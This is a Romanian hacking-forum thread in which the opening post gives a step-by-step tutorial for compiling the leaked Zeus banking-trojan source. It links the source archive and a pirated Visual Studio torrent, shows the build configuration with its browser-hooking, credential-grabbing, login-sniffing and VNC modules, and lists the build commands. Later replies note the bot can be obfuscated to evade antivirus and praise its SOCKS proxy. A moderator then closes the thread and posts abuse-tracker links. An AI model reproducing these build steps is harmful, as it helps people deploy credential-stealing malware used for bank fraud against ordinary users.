Jump to content
Ganav

[TUT] Compilarea Zeus bot

Recommended Posts

Acest tutorial va descrie un mod de compilare al cunosctutului bot Zeus. Sursele pot fi gasite aici:

Zippyshare.com - ZeuS_2.0.8.9-Source.7z

In continuare vom avea nevoie de visual studio 2010 ultimate care se gaseste aici:

https://thepiratebay.se/torrent/5606600/Visual_Studio_2010_Ultimate_%5BLatest%5D_%5B2010%5D_-_%5BGuruFuel%5D

Dupa dezarhivare, navigam in directorul /make/. Deschidem fisierul buildconfig.inc.php. Are o structura asemanatoare cu:


<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Êîíôèãóðàöèÿ.
///////////////////////////////////////////////////////////////////////////////////////////////////

$configDir = NULL;
$config = array
(
'debug' => -1, //Äîáàâëåíèå îòëàäî÷íîé èíôîðìàöèè.
'manual' => -1, //ßçûê äîêóìåíòàöèè.

'nspr4' => -1, //Ïåðåõâàò nspr4.dll
'wininet' => -1, //Ïåðåõâàò wininet.dll
'software_ftp' => -1, //Ãðàááåð FTP-êëèåíòîâ.
'software_email' => -1, //Ñáîð email'îâ ñ ïðîãðàìì.

'socket_ftp' => -1, //Ñíèôåð ëîãèíîâ FTP.
'socket_pop3' => -1, //Ñíèôåð ëîãèíîâ POP3.

'vnc' => -1, //VNC.
'jabber_notifier' => -1, //Íîòèôèêàòîð äëÿ Jabber.

'client_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ client.
'server_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ server.
'bcserver_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ bcserver.
'builder_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ builder.
'buildtools_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ buildtools.
);

loadGlobalConfig();
define('BO_NAME', 'ZeuS'); //Èìÿ
define('BO_CLIENT_VERSION', trim($config['global']['versions']['client'])); //Òåêóùàÿ âåðñèÿ
define('BO_BUILDTIME', gmdate('H:i:s d.m.Y', time()).' GMT'); //Âðåìÿ ñáîðêè

//Äèðåêòîðèè êîìïèëÿòîðà.
$dir['vcdlls'] = 'C:\Program Files\Microsoft Visual Studio 10.0\Common7\IDE';
$dir['vc'] = 'C:\Program Files\Microsoft Visual Studio 10.0\VC';
$dir['sdk'] = 'C:\Program Files\Microsoft SDKs\Windows\v7.0A';
$dir['vcbin']['win32'] = $dir['vc'].'\bin';
$dir['vcbin']['win64'] = $dir['vc'].'\bin\amd64';
$dir['sdkbin']['win32'] = $dir['sdk'].'\bin';
$dir['sdkbin']['win64'] = $dir['sdk'].'\bin\x64';

Acum instalam visual studio 2010. Daca o instalare precedenta exista trebuie sa editam liniile urmatoare:

$dir['vcdlls']          = 'C:\Program Files\Microsoft Visual Studio 10.0\Common7\IDE';
$dir['vc'] = 'C:\Program Files\Microsoft Visual Studio 10.0\VC';
$dir['sdk'] = 'C:\Program Files\Microsoft SDKs\Windows\v7.0A';

astfel incat path-urile sa coincida cu cele alese la instalare. Path-urile de mai sus sunt create folosind setarile default la instalare.

Putem compila aplicatia in doua moduri:

  1. Folosind fisierul .sln : il deschidem cu visual studio dupa care realizam un Build Solution (F7)
  2. Putem compila Zeus si din linia de comanda. Deschidem un cmd.exe, navigam in directorul in care am dezarhivat sursele si executam make_full.bat

Inainte de compilare trebuie sa inlocuim doua executabile din directorul /bin/, din arhiva, si anume upx.exe si 7z.exe.

Le descarcam de aici:

upx

UPX: the Ultimate Packer for eXecutables - Homepage

7z:

Download

Dupa inlocuirea acestora putem compila fie din visual studio(cu F7), fie din linia de comanda(dintr-un command prompt rulam make_full.bat)

Link to comment
Share on other sites

Inca mai exista cryptere/etc, codul poate fi extins/obfuscat/modificat, si e proiectat si e capabil sa faca aceleasi lucruri ca si inainte, si nu e ca si cum nu sunt multi utilizatori cu AV incapabil...

Si asta cu scopurile "educationale" e .... cum sa zic ... piper in ochi =)).

Inca e cam "gri" situatia.

Link to comment
Share on other sites

Nu este singura aplicatie de acest tip. Daca poti modifica sursele astfel incat sa obtii functionalitatea sa originala atunci detii cunostiintele necesare sa scrii un alt bot similar de la zero.

Ce poti invata (doar ai zis cu scop educational) daca compilezi chestia asta?

Ce sursa de inspiratie este compilarea botului asta creat pentru frauda bancara?

Link to comment
Share on other sites

Defapt @Ganav are dreptate, poti invata cum functioneaza cu exactitate acest Trojan, te infectezi pe tine intr-un virtualbox si analizez conexiunile TCP/UDP si cum se trimit si primesc pachetele

Edited by Azraell
Link to comment
Share on other sites

Zeus inca mai este folosit. Codul a suferit modificari de-a lungul timpului. A fost implementat protocolul p2p, fisierul de configurare a fost ascuns in imagini, folosindu-se steganografia etc. In momentul in care codul sursa a fost facut public, au aparut "fork-uri". Cele mai cunoscute ar fi spyeye, citadel, kins etc. Citadel nu a fost initial folosit pentru furtul de date bancare. Se folosea mai mult pentru spionaj informatic. Era folosit in zone restranse.

Link to comment
Share on other sites

Chestia e ca foarte multi "copii" s-au reprofilat si au inceput sa foloseasca astfel de virusi. Neavand nici un fel de experienta fac tot felul de porcarii si multi sunt prinsi. Astfel se abate atentia de la "rechini". Multi sunt ocupati cu astia micii, in timp ce "cei care stiu" isi vad de treaba lor. Poate de-aia au si fost facute publice sursele de la zeus, carberp ;)

Am intalnit servere de comanda urcate pe site-uri sparte, care inca mai erau vulnerabile. Multi lasa phpmyadmin fara parola sau permit accesul la directorul /install/. In momentul in care accesam acest director, apar informatii pretioase despre serverul de comanda precum baza de date, directorul de reports, utilizatorul bazei de date etc. Citadel genereaza niste fisiere text pe care le pune intr-un director. In aceste fisiere se gasesc informatii despre sistemele infectate: date de autentificare http/ftp/smtp/ssh, adrese de e-mail, adrese ip etc

Screenshot+from+2014-06-30+08:15:06.png

Edited by hate.me
Link to comment
Share on other sites

Dar zeus-botnet ce mai fura inafara de date bancare?

Incearca sa te abtii la posturi de genul asta. E deajuns ca produci numai gunoi pe forum, macar ai bunul simt si abtine-te in unele locuri.

On: Daca cineva e interesat de asta, functia pentru socks este impecabila. Duce chiar si 300-400 de conexiuni paralele fara sa faca figuri. Sau tinea cel putin.

Link to comment
Share on other sites

Dar zeus-botnet ce mai fura inafara de date bancare?

E un subiect destul de sensibil si dicutia trebuie pastrata la un nivel educativ/informativ. Poti sa intrebi de functii, de implementari etc. Deocamdata inchidem threadul. Daca mai are cineva intrebari pertinente, poate trimite un mesaj privat si il redeschidem.

sugestie de la @yo20063

Pentru cei care inca se gandesc sa-l foloseasca: in cazul in care apareti pe "hall of fame", iese destul de urat pentru voi:

https://zeustracker.abuse.ch/monitor.php

http://cybercrime-tracker.net/

http://cybercrime-tracker.net/zbox.php

Edited by hate.me
  • Upvote 1
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.


×
×
  • Create New...